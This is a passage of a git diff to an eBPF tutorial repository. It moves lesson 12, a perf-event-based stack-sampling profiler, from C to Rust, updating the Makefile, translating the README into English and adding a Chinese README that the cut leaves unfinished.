-o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) -# Generate BPF skeletons +# Generate BPF skeletons (if needed for Rust) $(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) $(call msg,GEN-SKEL,$@) $(Q)$(BPFTOOL) gen skeleton $< > $@ -# Build user-space code -$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h - -$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) - $(call msg,CC,$@) - $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ - -$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) - -$(BZS_APPS): $(LIBBLAZESYM_OBJ) - -# Build application binary -$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) - $(call msg,BINARY,$@) - $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ +# Build the Rust binary +$(BINARY_NAME): $(OUTPUT)/profile.bpf.o | $(OUTPUT) + $(call msg,CARGO,$@) + $(Q)$(CARGO) build --release + $(Q)cp $(TARGET_DIR)/$(BINARY_NAME) ./ + +# Build in debug mode +.PHONY: debug +debug: $(OUTPUT)/profile.bpf.o | $(OUTPUT) + $(call msg,CARGO,debug) + $(Q)$(CARGO) build + $(Q)cp target/debug/$(BINARY_NAME) ./$(BINARY_NAME)-debug + +# Run cargo check +.PHONY: check +check: $(OUTPUT)/profile.bpf.o | $(OUTPUT) + $(call msg,CARGO,check) + $(Q)$(CARGO) check + +# Run cargo test +.PHONY: test +test: $(OUTPUT)/profile.bpf.o | $(OUTPUT) + $(call msg,CARGO,test) + $(Q)$(CARGO) test # delete failed targets .DELETE_ON_ERROR: # keep intermediate (.skel.h, .bpf.o, etc) targets -.SECONDARY: +.SECONDARY: \ No newline at end of file diff --git a/src/12-profile/README.md b/src/12-profile/README.md index d1f73f56..93606c5e 100644 --- a/src/12-profile/README.md +++ b/src/12-profile/README.md @@ -1,57 +1,64 @@ -# eBPF 入门实践教程十二:使用 eBPF 程序 profile 进行性能分析 +# eBPF Tutorial by Example 12: Using eBPF Program Profile for Performance Analysis -本教程将指导您使用 libbpf 和 eBPF 程序进行性能分析。我们将利用内核中的 perf 机制,学习如何捕获函数的执行时间以及如何查看性能数据。 +This tutorial will guide you on using eBPF programs for performance analysis with a Rust implementation. We will leverage the perf mechanism in the kernel to learn how to capture the execution time of functions and view performance data. -libbpf 是一个用于与 eBPF 交互的 C 库。它提供了创建、加载和使用 eBPF 程序所需的基本功能。本教程中,我们将主要使用 libbpf 完成开发工作。perf 是 Linux 内核中的性能分析工具,允许用户测量和分析内核及用户空间程序的性能,以及获取对应的调用堆栈。它利用内核中的硬件计数器和软件事件来收集性能数据。 +This implementation uses libbpf-rs, a Rust wrapper around libbpf, along with blazesym for symbol resolution. Perf is a performance analysis tool in the Linux kernel that allows users to measure and analyze the performance of kernel and user space programs, as well as obtain corresponding call stacks. It collects performance data using hardware counters and software events in the kernel. -## eBPF 工具:profile 性能分析示例 +> The complete source code: -`profile` 工具基于 eBPF 实现,利用 Linux 内核中的 perf 事件进行性能分析。`profile` 工具会定期对每个处理器进行采样,以便捕获内核函数和用户空间函数的执行。它可以显示栈回溯的以下信息: +## eBPF Tool: profile Performance Analysis Example -- 地址:函数调用的内存地址 -- 符号:函数名称 -- 文件名:源代码文件名称 -- 行号:源代码中的行号 +The `profile` tool is implemented based on eBPF and utilizes the perf events in the Linux kernel for performance analysis. The `profile` tool periodically samples each processor to capture the execution of kernel and user space functions. -这些信息有助于开发人员定位性能瓶颈和优化代码。更进一步,可以通过这些对应的信息生成火焰图,以便更直观的查看性能数据。 +In the stack trace information, the tool displays the memory addresses of function calls, which represent the most primitive location information. Through symbol resolution, these addresses are converted to corresponding function names, allowing developers to directly identify which functions are being executed. Furthermore, when debug information is available, the tool can provide source code file names and specific line numbers, pinpointing the exact location in the code. This complete information chain from addresses to symbols to source code locations provides developers with a comprehensive perspective for performance analysis. -在本示例中,可以通过 libbpf 库编译运行它(以 Ubuntu/Debian 为例): +This detailed information helps developers quickly locate performance bottlenecks and optimize code. By analyzing which functions are frequently called and which code paths consume the most CPU time, developers can perform targeted optimizations. Additionally, this stack trace information can be converted into flame graph format, providing a visual representation of program execution hotspots that makes performance issues immediately apparent. -**NOTE:** 首先需要安装 `cargo` 才能编译得到 `profile`, 安装方法可以参考[Cargo 手册](https://rustwiki.org/en/cargo/getting-started/installation.html) +In this example, you can compile and run it with Rust and Cargo: + +**Prerequisites:** +- Rust and Cargo installed (see ["The Cargo Book"](https://rustwiki.org/en/cargo/getting-started/installation.html)) +- Clang and development libraries ```console $ git submodule update --init --recursive $ sudo apt install clang libelf1 libelf-dev zlib1g-dev $ make -$ sudo ./profile -COMM: chronyd (pid=156) @ CPU 1 -Kernel: - 0 [] _raw_spin_lock_irqsave+0x16 - 1 [] remove_wait_queue+0x14 - 2 [] poll_freewait+0x3d - 3 [] do_select+0x7bf - 4 [] core_sys_select+0x182 - 5 [] __x64_sys_pselect6+0xea - 6 [] do_syscall_64+0x38 - 7 [] entry_SYSCALL_64_after_hwframe+0x61 -Userspace: - 0 [<00007fab187bfe09>] - 1 [<000000000ee6ae98>] +$ sudo ./profile +``` -COMM: profile (pid=9843) @ CPU 6 +**Sample Output:** +```console +[1756723652.366364804] COMM: node (pid=285503) @ CPU 64 No Kernel Stack Userspace: - 0 [<0000556deb068ac8>] - 1 [<0000556dec34cad0>] +0x0072e2a97f4be0: v8::internal::Scanner::Next() @ 0x15f47c0+0x420 +0x0072e2a97d9051: v8::internal::ParserBase::ParseBlock(...) @ 0x15d8fc0+0x91 +0x0072e2a97d6df0: v8::internal::ParserBase::ParseStatement(...) @ 0x15d6ce0+0x110 +... + +[1756723657.337170411] COMM: qemu-system-x86 (pid=4166437) @ CPU 70 +Kernel: +0xffffffff95f403d5: _raw_spin_lock_irq @ 0xffffffff95f403b0+0x25 +0xffffffff94e2b6d8: __flush_work @ 0xffffffff94e2b630+0xa8 +0xffffffff94e2ba5c: flush_work @ 0xffffffff94e2ba40+0x1c +0xffffffff95852672: tty_buffer_flush_work @ 0xffffffff95852660+0x12 +... +Userspace: +0x005849a7fbbd33: qemu_poll_ns @ 0xc63c4c+0xe7 /home/victoryang00/CXLMemSim/lib/qemu/build/../util/qemu-timer.c:347:1 +0x005849a7fb64d7: os_host_main_loop_wait @ 0xc5e473+0x64 /home/victoryang00/CXLMemSim/lib/qemu/build/../util/main-loop.c:305:11 +... ``` -## 实现原理 +The tool provides detailed stack traces with symbol resolution, including function names, offsets, and source file locations when available. -profile 工具由两个部分组成,内核态中的 eBPF 程序和用户态中的 `profile` 符号处理程序。`profile` 符号处理程序负责加载 eBPF 程序,以及处理 eBPF 程序输出的数据。 +## Implementation Principle -### 内核态部分 +The `profile` tool consists of two parts: the eBPF program in kernel space and the `profile` symbol handling program in user space. The `profile` symbol handling program is responsible for loading the eBPF program and processing the data outputted by the eBPF program. -内核态 eBPF 程序的实现逻辑主要是借助 perf event,对程序的堆栈进行定时采样,从而捕获程序的执行流程。 +### Kernel Space Part + +The implementation logic of the eBPF program in kernel space mainly relies on perf events to periodically sample the stack of the program, thereby capturing its execution flow. ```c // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause @@ -84,13 +91,15 @@ int profile(void *ctx) event->pid = pid; event->cpu_id = cpu_id; + event->timestamp = bpf_ktime_get_ns(); // Capture timestamp if (bpf_get_current_comm(event->comm, sizeof(event->comm))) event->comm[0] = 0; event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); - event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + event->ustack_sz = + bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); bpf_ringbuf_submit(event, 0); @@ -98,129 +107,203 @@ int profile(void *ctx) } ``` -接下来,我们将重点讲解内核态代码的关键部分。 +The header file `profile.h` defines the event structure: -1. 定义 eBPF maps `events`: +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __PROFILE_H_ +#define __PROFILE_H_ + +#ifndef TASK_COMM_LEN +#define TASK_COMM_LEN 16 +#endif + +#ifndef MAX_STACK_DEPTH +#define MAX_STACK_DEPTH 128 +#endif + +typedef __u64 stack_trace_t[MAX_STACK_DEPTH]; + +struct stacktrace_event { + __u32 pid; + __u32 cpu_id; + __u64 timestamp; // Kernel timestamp in nanoseconds + char comm[TASK_COMM_LEN]; + __s32 kstack_sz; + __s32 ustack_sz; + stack_trace_t kstack; + stack_trace_t ustack; +}; + +#endif /* __PROFILE_H_ */ +``` - ```c +Next, we will focus on the key part of the kernel code. - struct { - __uint(type, BPF_MAP_TYPE_RINGBUF); - __uint(max_entries, 256 * 1024); - } events SEC(".maps"); - ``` +1. Define eBPF maps `events`: - 这里定义了一个类型为 `BPF_MAP_TYPE_RINGBUF` 的 eBPF maps 。Ring Buffer 是一种高性能的循环缓冲区,用于在内核和用户空间之间传输数据。`max_entries` 设置了 Ring Buffer 的最大大小。 +```c +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} events SEC(".maps"); +``` -2. 定义 `perf_event` eBPF 程序: +Here, a eBPF maps of type `BPF_MAP_TYPE_RINGBUF` is defined. The Ring Buffer is a high-performance circular buffer used to transfer data between the kernel and user space. `max_entries` sets the maximum size of the Ring Buffer. - ```c - SEC("perf_event") - int profile(void *ctx) - ``` +2. Define `perf_event` eBPF program: + +```c +SEC("perf_event") +int profile(void *ctx) +``` - 这里定义了一个名为 `profile` 的 eBPF 程序,它将在 perf 事件触发时执行。 +Here, a eBPF program named `profile` is defined, which will be executed when a perf event is triggered. -3. 获取进程 ID 和 CPU ID: +3. Get process ID and CPU ID: - ```c - int pid = bpf_get_current_pid_tgid() >> 32; - int cpu_id = bpf_get_smp_processor_id(); - ``` +```c +int pid = bpf_get_current_pid_tgid() >> 32; +int cpu_id = bpf_get_smp_processor_id(); +``` - `bpf_get_current_pid_tgid()` 函数返回当前进程的 PID 和 TID,通过右移 32 位,我们得到 PID。`bpf_get_smp_processor_id()` 函数返回当前 CPU 的 ID。 +The function `bpf_get_current_pid_tgid()` returns the PID and TID of the current process. By right shifting 32 bits, we get the PID. The function `bpf_get_smp_processor_id()` returns the ID of the current CPU. -4. 预留 Ring Buffer 空间: +4. Reserve space in the Ring Buffer: - ```c - event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); - if (!event) - return 1; - ``` +```c +event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); +if (!event) + return 1; +``` - 通过 `bpf_ringbuf_reserve()` 函数预留 Ring Buffer 空间,用于存储采集的栈信息。若预留失败,返回错误. +Use the `bpf_ringbuf_reserve()` function to reserve space in the Ring Buffer for storing the collected stack information. If the reservation fails, return an error. -5. 获取当前进程名: +5. Get the current process name: - ```c +```c - if (bpf_get_current_comm(event->comm, sizeof(event->comm))) - event->comm[0] = 0; - ``` +if (bpf_get_current_comm(event->comm, sizeof(event->comm))) + event->comm[0] = 0; +``` - 使用 `bpf_get_current_comm()` 函数获取当前进程名并将其存储到 `event->comm`。 +Use the `bpf_get_current_comm()` function to get the current process name and store it in `event->comm`. -6. 获取内核栈信息: +6. Get kernel stack information: - ```c +```c - event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); - ``` +event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); +``` - 使用 `bpf_get_stack()` 函数获取内核栈信息。将结果存储在 `event->kstack`,并将其大小存储在 `event->kstack_sz`。 +Use the `bpf_get_stack()` function to get kernel stack information. Store the result in `event->kstack` and the size in `event->kstack_sz`. -7. 获取用户空间栈信息: +7. Get user space stack information: - ```c - event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); - ``` +```c +event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); +``` - 同样使用 `bpf_get_stack()` 函数,但传递 `BPF_F_USER_STACK` 标志以获取用户空间栈信息。将结果存储在 `event->ustack`,并将其大小存储在 `event->ustack_sz`。 +Using the `bpf_get_stack()` function with the `BPF_F_USER_STACK` flag retrieves information about the user space stack. Store the result in `event->ustack` and its size in `event->ustack_sz`. -8. 将事件提交到 Ring Buffer: +8. Submit the event to the Ring Buffer: - ```c +```c bpf_ringbuf_submit(event, 0); - ``` +``` - 最后,使用 `bpf_ringbuf_submit()` 函数将事件提交到 Ring Buffer,以便用户空间程序可以读取和处理。 +Finally, use the `bpf_ringbuf_submit()` function to submit the event to the Ring Buffer for the user space program to read and process. - 这个内核态 eBPF 程序通过定期采样程序的内核栈和用户空间栈来捕获程序的执行流程。这些数据将存储在 Ring Buffer 中,以便用户态的 `profile` 程序能读取。 +This kernel mode eBPF program captures the program's execution flow by sampling the kernel stack and user space stack of the program periodically. These data are stored in the Ring Buffer for the user mode `profile` program to read. -### 用户态部分 +### User Mode Section (Rust Implementation) -这段代码主要负责为每个在线 CPU 设置 perf event 并附加 eBPF 程序: +The user-space portion is implemented in Rust using libbpf-rs and blazesym. The main components include: -```c -static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, - int cpu, int group_fd, unsigned long flags) -{ - int ret; +**Main Entry Point (src/main.rs):** +```rust +use std::mem::MaybeUninit; +use std::time::Duration; +use clap::{ArgAction, Parser}; +use libbpf_rs::skel::{OpenSkel, SkelBuilder}; - ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); - return ret; +mod profile { + include!(concat!(env!("OUT_DIR"), "/profile.skel.rs")); +} +mod syscall; +mod event; +mod perf; + +use profile::*; + +#[derive(Parser, Debug)] +struct Args { + /// Sampling frequency + #[arg(short, default_value_t = 50)] + freq: u64, + + /// Increase verbosity (can be supplied multiple times) + #[arg(short = 'v', long = "verbose", global = true, action = ArgAction::Count)] + verbosity: u8, + + /// Use software event for triggering stack trace capture + #[arg(long = "sw-event")] + sw_event: bool, + + /// Filter by PID (optional) + #[arg(short = 'p', long = "pid")] + pid: Option, + + /// Output in extended folded format + #[arg(short = 'E', long = "fold-extend")] + fold_extend: bool, } -int main(){ - ... - for (cpu = 0; cpu < num_cpus; cpu++) { - /* skip offline/not present CPUs */ - if (cpu >= num_online_cpus || !online_mask[cpu]) - continue; - - /* Set up performance monitoring on a CPU/Core */ - pefd = perf_event_open(&attr, pid, cpu, -1, PERF_FLAG_FD_CLOEXEC); - if (pefd < 0) { - fprintf(stderr, "Fail to set up performance monitor on a CPU/Core\n"); - err = -1; - goto cleanup; - } - pefds[cpu] = pefd; - - /* Attach a BPF program on a CPU */ - links[cpu] = bpf_program__attach_perf_event(skel->progs.profile, pefd); - if (!links[cpu]) { - err = -1; - goto cleanup; - } - } - ... +fn main() -> Result<(), libbpf_rs::Error> { + let args = Args::parse(); + + // Set up logging based on verbosity + let level = match args.verbosity { + 0 => LevelFilter::WARN, + 1 => LevelFilter::INFO, + 2 => LevelFilter::DEBUG, + _ => LevelFilter::TRACE, + }; + + // Initialize BPF skeleton + let skel_builder = ProfileSkelBuilder::default(); + let mut open_object = MaybeUninit::uninit(); + let open_skel = skel_builder.open(&mut open_object)?; + let skel = open_skel.load()?; + + // Set up perf events and attach BPF program + let pefds = perf::init_perf_monitor(args.freq, args.sw_event, args.pid)?; + let _links = perf::attach_perf_event(&pefds, &skel.progs.profile); + + // Set up ring buffer with event handler + let mut builder = libbpf_rs::RingBufferBuilder::new(); + let output_format = if args.fold_extend { + event::OutputFormat::FoldedExtended + } else { + event::OutputFormat::Standard + }; + + let event_handler = event::EventHandler::new(output_format); + builder.add(&skel.maps.events, move |data| { + event_handler.handle(data) + })?; + + let ringbuf = builder.build()?; + while ringbuf.poll(Duration::MAX).is_ok() {} + + perf::close_perf_events(pefds)?; + Ok(()) } ``` -`perf_event_open` 这个函数是一个对 perf_event_open 系统调用的封装。它接收一个 perf_event_attr 结构体指针,用于指定 perf event 的类型和属性。pid 参数用于指定要监控的进程 ID(-1 表示监控所有进程),cpu 参数用于指定要监控的 CPU。group_fd 参数用于将 perf event 分组,这里我们使用 -1,表示不需要分组。flags 参数用于设置一些标志,这里我们使用 PERF_FLAG_FD_CLOEXEC 以确保在执行 exec 系列系统调用时关闭文件描述符。 +The `perf_event_open` function is a wrapper for the perf_event_open system call. It takes a pointer to a perf_event_attr structure to specify the type and attributes of the perf event. The pid parameter is used to specify the process ID to monitor (-1 for monitoring all processes), and the cpu parameter is used to specify the CPU to monitor. The group_fd parameter is used to group perf events, and we use -1 here to indicate no grouping is needed. The flags parameter is used to set some flags, and we use PERF_FLAG_FD_CLOEXEC to ensure file descriptors are closed when executing exec series system calls. -在 main 函数中: +In the main function: ```c for (cpu = 0; cpu < num_cpus; cpu++) { @@ -228,108 +311,119 @@ for (cpu = 0; cpu < num_cpus; cpu++) { } ``` -这个循环针对每个在线 CPU 设置 perf event 并附加 eBPF 程序。首先,它会检查当前 CPU 是否在线,如果不在线则跳过。然后,使用 perf_event_open() 函数为当前 CPU 设置 perf event,并将返回的文件描述符存储在 pefds 数组中。最后,使用 bpf_program__attach_perf_event() 函数将 eBPF 程序附加到 perf event。links 数组用于存储每个 CPU 上的 BPF 链接,以便在程序结束时销毁它们。 - -通过这种方式,用户态程序为每个在线 CPU 设置 perf event,并将 eBPF 程序附加到这些 perf event 上,从而实现对系统中所有在线 CPU 的监控。 - -以下这两个函数分别用于显示栈回溯和处理从 ring buffer 接收到的事件: +This loop sets up perf events and attaches eBPF programs for each online CPU. Firstly, it checks if the current CPU is online and skips if it's not. Then, it uses the perf_event_open() function to set up perf events for the current CPU and stores the returned file descriptor in the pefds array. Finally, it attaches the eBPF program to the perf event using the bpf_program__attach_perf_event() function. The links array is used to store the BPF links for each CPU so that they can be destroyed when the program ends.By doing so, user-mode programs set perf events for each online CPU and attach eBPF programs to these perf events to monitor all online CPUs in the system. + +**Event Processing and Symbol Resolution (src/event.rs):** +```rust +use std::mem; +use std::time::{SystemTime, UNIX_EPOCH}; +use blazesym::symbolize; +use nix::sys::sysinfo; + +pub const MAX_STACK_DEPTH: usize = 128; +pub const TASK_COMM_LEN: usize = 16; + +// A Rust version of stacktrace_event in profile.h +#[repr(C)] +pub struct StacktraceEvent { + pub pid: u32, + pub cpu_id: u32, + pub timestamp: u64, // Kernel timestamp in nanoseconds + pub comm: [u8; TASK_COMM_LEN], + pub kstack_size: i32, + pub ustack_size: i32, + pub kstack: [u64; MAX_STACK_DEPTH], + pub ustack: [u64; MAX_STACK_DEPTH], +} -```c -static void show_stack_trace(__u64 *stack, int stack_sz, pid_t pid) -{ - const struct blazesym_result *result; - const struct blazesym_csym *sym; - sym_src_cfg src; - int i, j; - - if (pid) { - src.src_type = SRC_T_PROCESS; - src.params.process.pid = pid; - } else { - src.src_type = SRC_T_KERNEL; - src.params.kernel.kallsyms = NULL; - src.params.kernel.kernel_image = NULL; - } +pub enum OutputFormat { + Standard, + FoldedExtended, // For flame graph generation +} - result = blazesym_symbolize(symbolizer, &src, 1, (const uint64_t *)stack, stack_sz); +pub struct EventHandler { + symbolizer: symbolize::Symbolizer, + format: OutputFormat, + boot_time_ns: u64, // System boot time for timestamp conversion +} - for (i = 0; i < stack_sz; i++) { - if (!result || result->size <= i || !result->entries[i].size) { - printf(" %d [<%016llx>]\n", i, stack[i]); - continue; +impl EventHandler { + pub fn new(format: OutputFormat) -> Self { + let boot_time_ns = Self::get_boot_time_ns(); + Self { + symbolizer: symbolize::Symbolizer::new(), + format, + boot_time_ns, } - - if (result->entries[i].size == 1) { - sym = &result->entries[i].syms[0]; - if (sym->path && sym->path[0]) { - printf(" %d [<%016llx>] %s+0x%llx %s:%ld\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %d [<%016llx>] %s+0x%llx\n", - i, stack[i], sym->symbol, - stack[i] - sym->start_address); - } - continue; + } + + fn get_boot_time_ns() -> u64 { + // Calculate boot time from current time minus uptime + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("System time before Unix epoch"); + let now_ns = now.as_nanos() as u64; + + let info = sysinfo::sysinfo().expect("Failed to get sysinfo"); + let uptime_ns = (info.uptime().as_secs_f64() * 1_000_000_000.0) as u64; + + now_ns - uptime_ns + } + + pub fn handle(&self, data: &[u8]) -> ::std::os::raw::c_int { + let event = unsafe { &*(data.as_ptr() as *const StacktraceEvent) }; + + if event.kstack_size <= 0 && event.ustack_size <= 0 { + return 1; } - - printf(" %d [<%016llx>]\n", i, stack[i]); - for (j = 0; j < result->entries[i].size; j++) { - sym = &result->entries[i].syms[j]; - if (sym->path && sym->path[0]) { - printf(" %s+0x%llx %s:%ld\n", - sym->symbol, stack[i] - sym->start_address, - sym->path, sym->line_no); - } else { - printf(" %s+0x%llx\n", sym->symbol, - stack[i] - sym->start_address); - } + + match self.format { + OutputFormat::Standard => self.handle_standard(event), + OutputFormat::FoldedExtended => self.handle_folded_extended(event), } + + 0 + } + + fn handle_standard(&self, event: &StacktraceEvent) { + let comm = std::str::from_utf8(&event.comm) + .unwrap_or("") + .trim_end_matches('\0'); + + // Convert kernel timestamp to Unix timestamp + let unix_timestamp_ns = event.timestamp + self.boot_time_ns; + let timestamp_sec = unix_timestamp_ns / 1_000_000_000; + let timestamp_nsec = unix_timestamp_ns % 1_000_000_000; + + println!("[{}.{:09}] COMM: {} (pid={}) @ CPU {}", + timestamp_sec, timestamp_nsec, comm, event.pid, event.cpu_id); + + // Process and symbolize stacks... + // (implementation continues with symbolization logic) } - - blazesym_result_free(result); } +``` -/* Receive events from the ring buffer. */ -static int event_handler(void *_ctx, void *data, size_t size) -{ - struct stacktrace_event *event = data; - - if (event->kstack_sz <= 0 && event->ustack_sz <= 0) - return 1; +**Key Features of the Rust Implementation:** - printf("COMM: %s (pid=%d) @ CPU %d\n", event->comm, event->pid, event->cpu_id); +The Rust implementation provides strong type safety through its type system, effectively preventing memory safety issues that are common in C, such as buffer overflows and null pointer dereferences. This safety guarantee allows developers to focus on business logic without worrying about low-level memory management issues. - if (event->kstack_sz > 0) { - printf("Kernel:\n"); - show_stack_trace(event->kstack, event->kstack_sz / sizeof(__u64), 0); - } else { - printf("No Kernel Stack\n"); - } +Symbol resolution is a core feature of performance analysis tools. This implementation integrates the blazesym library, which efficiently converts memory addresses into readable function names and source code locations. Blazesym supports DWARF debug information parsing, meaning that even optimized binaries can provide accurate source file paths and line number information. This capability is crucial for pinpointing the exact code locations of performance bottlenecks. - if (event->ustack_sz > 0) { - printf("Userspace:\n"); - show_stack_trace(event->ustack, event->ustack_sz / sizeof(__u64), event->pid); - } else { - printf("No Userspace Stack\n"); - } +For error handling, Rust's `Result` type provides an explicit error handling mechanism. Every operation that might fail returns a Result type, forcing developers to handle potential error conditions. This design prevents unhandled errors from causing program crashes, improving the tool's stability and reliability. - printf("\n"); - return 0; -} -``` +The logging system uses the `tracing` crate, which provides structured logging capabilities. Through environment variables or command-line arguments, users can dynamically adjust the log level from WARN, INFO, DEBUG to TRACE, making it convenient to obtain appropriate levels of diagnostic information in different scenarios. This flexibility is very useful for debugging and troubleshooting. -`show_stack_trace()` 函数用于显示内核或用户空间的栈回溯。它接收一个 stack 参数,是一个指向内核或用户空间栈的指针,stack_sz 参数表示栈的大小,pid 参数表示要显示的进程的 ID(当显示内核栈时,设置为 0)。函数中首先根据 pid 参数确定栈的来源(内核或用户空间),然后调用 blazesym_symbolize() 函数将栈中的地址解析为符号名和源代码位置。最后,遍历解析结果,输出符号名和源代码位置信息。 +The command-line interface is implemented through the `clap` library, providing intuitive argument parsing and help message generation. Users can adjust the sampling frequency with the `-f` parameter, switch to software events using `--sw-event` in environments like virtual machines that don't support hardware performance counters, filter specific processes with the `-p` parameter, and output in an extended format suitable for flame graph generation using the `-E` parameter. -`event_handler()` 函数用于处理从 ring buffer 接收到的事件。它接收一个 data 参数,指向 ring buffer 中的数据,size 参数表示数据的大小。函数首先将 data 指针转换为 stacktrace_event 结构体指针,然后检查内核和用户空间栈的大小。如果栈为空,则直接返回。接下来,函数输出进程名称、进程 ID 和 CPU ID 信息。然后分别显示内核栈和用户空间栈的回溯。调用 show_stack_trace() 函数时,分别传入内核栈和用户空间栈的地址、大小和进程 ID。 +This integrated approach combines the performance of eBPF with the safety and expressiveness of Rust, providing a robust profiling tool for system performance analysis. -这两个函数作为 eBPF profile 工具的一部分,用于显示和处理 eBPF 程序收集到的栈回溯信息,帮助用户了解程序的运行情况和性能瓶颈。 +### Summary -### 总结 +Through this introductory tutorial on eBPF, we have learned how to use eBPF programs for performance analysis. In this process, we explained in detail how to create eBPF programs, monitor process performance, and retrieve data from the ring buffer for analyzing stack traces. We also learned how to use the `perf_event_open()` function to set up performance monitoring and attach BPF programs to performance events. In this tutorial, we also demonstrated how to write eBPF programs to capture the kernel and userspace stack information of processes in order to analyze program performance bottlenecks. With this example, you can understand the powerful features of eBPF in performance analysis. -通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 程序进行性能分析。在这个过程中,我们详细讲解了如何创建 eBPF 程序,监控进程的性能,并从 ring buffer 中获取数据以分析栈回溯。我们还学习了如何使用 perf_event_open() 函数设置性能监控,并将 BPF 程序附加到性能事件上。在本教程中,我们还展示了如何编写 eBPF 程序来捕获进程的内核和用户空间栈信息,进而分析程序性能瓶颈。通过这个例子,您可以了解到 eBPF 在性能分析方面的强大功能。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website for more examples and complete tutorials. -如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档: 。您还可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +The next tutorial will further explore advanced features of eBPF. We will continue to share more content about eBPF development practices to help you better understand and master eBPF technology. We hope these contents will be helpful for your learning and practice on the eBPF development journey. -接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术,希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。 +> The original link of this article: diff --git a/src/12-profile/README.zh.md b/src/12-profile/README.zh.md new file mode 100644 index 00000000..1c458a8f --- /dev/null +++ b/src/12-profile/README.zh.md @@ -0,0 +1,354 @@ +# eBPF 入门实践教程十二:使用 eBPF 程序 profile 进行性能分析 + +本教程将指导您使用 eBPF 程序和 Rust 实现进行性能分析。我们将利用内核中的 perf 机制,学习如何捕获函数的执行时间以及如何查看性能数据。 + +本实现使用 libbpf-rs(libbpf 的 Rust 封装)以及 blazesym 进行符号解析。perf 是 Linux 内核中的性能分析工具,允许用户测量和分析内核及用户空间程序的性能,以及获取对应的调用堆栈。它利用内核中的硬件计数器和软件事件来收集性能数据。 + +## eBPF 工具:profile 性能分析示例 + +`profile` 工具基于 eBPF 实现,利用 Linux 内核中的 perf 事件进行性能分析。`profile` 工具会定期对每个处理器进行采样,以便捕获内核函数和用户空间函数的执行。 + +在栈回溯信息中,工具会显示函数调用的内存地址,这是最原始的位置信息。通过符号解析,这些地址会被转换为对应的函数名称,让开发者能够直接识别是哪个函数在执行。更进一步,如果调试信息可用,工具还能提供源代码文件名称和具体的行号,精确定位到代码的具体位置。这种从地址到符号,再到源代码位置的完整信息链,为开发人员提供了全方位的性能分析视角。 + +这些详细的信息有助于开发人员快速定位性能瓶颈和优化代码。通过分析哪些函数被频繁调用,哪些代码路径消耗了最多的 CPU 时间,开发者可以有针对性地进行优化。更进一步,这些栈回溯信息可以被转换成火焰图格式,通过可视化的方式直观展示程序的执行热点,让性能问题一目了然。 + +在本示例中,可以通过 Rust 和 Cargo 编译运行: + +**前提条件:** +- 安装 Rust 和 Cargo(参考 [Cargo 手册](https://rustwiki.org/en/cargo/getting-started/installation.html)) +- 安装 Clang 和开发库 + +```console +$ git submodule update --init --recursive +$ sudo apt install clang libelf1 libelf-dev zlib1g-dev +$ make +$ sudo ./profile +``` + +**示例输出:** +```console +[1756723652.366364804] COMM: node (pid=285503) @ CPU 64 +No Kernel Stack +Userspace: +0x0072e2a97f4be0: v8::internal::Scanner::Next() @ 0x15f47c0+0x420 +0x0072e2a97d9051: v8::internal::ParserBase::ParseBlock(...) @ 0x15d8fc0+0x91 +0x0072e2a97d6df0: v8::internal::ParserBase::ParseStatement(...) @ 0x15d6ce0+0x110 +... + +[1756723657.337170411] COMM: qemu-system-x86 (pid=4166437) @ CPU 70 +Kernel: +0xffffffff95f403d5: _raw_spin_lock_irq @ 0xffffffff95f403b0+0x25 +0xffffffff94e2b6d8: __flush_work @ 0xffffffff94e2b630+0xa8 +0xffffffff94e2ba5c: flush_work @ 0xffffffff94e2ba40+0x1c +0xffffffff95852672: tty_buffer_flush_work @ 0xffffffff95852660+0x12 +... +Userspace: +0x005849a7fbbd33: qemu_poll_ns @ 0xc63c4c+0xe7 /home/victoryang00/CXLMemSim/lib/qemu/build/../util/qemu-timer.c:347:1 +0x005849a7fb64d7: os_host_main_loop_wait @ 0xc5e473+0x64 /home/victoryang00/CXLMemSim/lib/qemu/build/../util/main-loop.c:305:11 +... +``` + +该工具提供详细的堆栈跟踪和符号解析,包括函数名、偏移量以及可用时的源文件位置。 + +## 实现原理 + +profile 工具由两个部分组成,内核态中的 eBPF 程序和用户态中的 `profile` 符号处理程序。`profile` 符号处理程序负责加载 eBPF 程序,以及处理 eBPF 程序输出的数据。 + +### 内核态部分 + +内核态 eBPF 程序的实现逻辑主要是借助 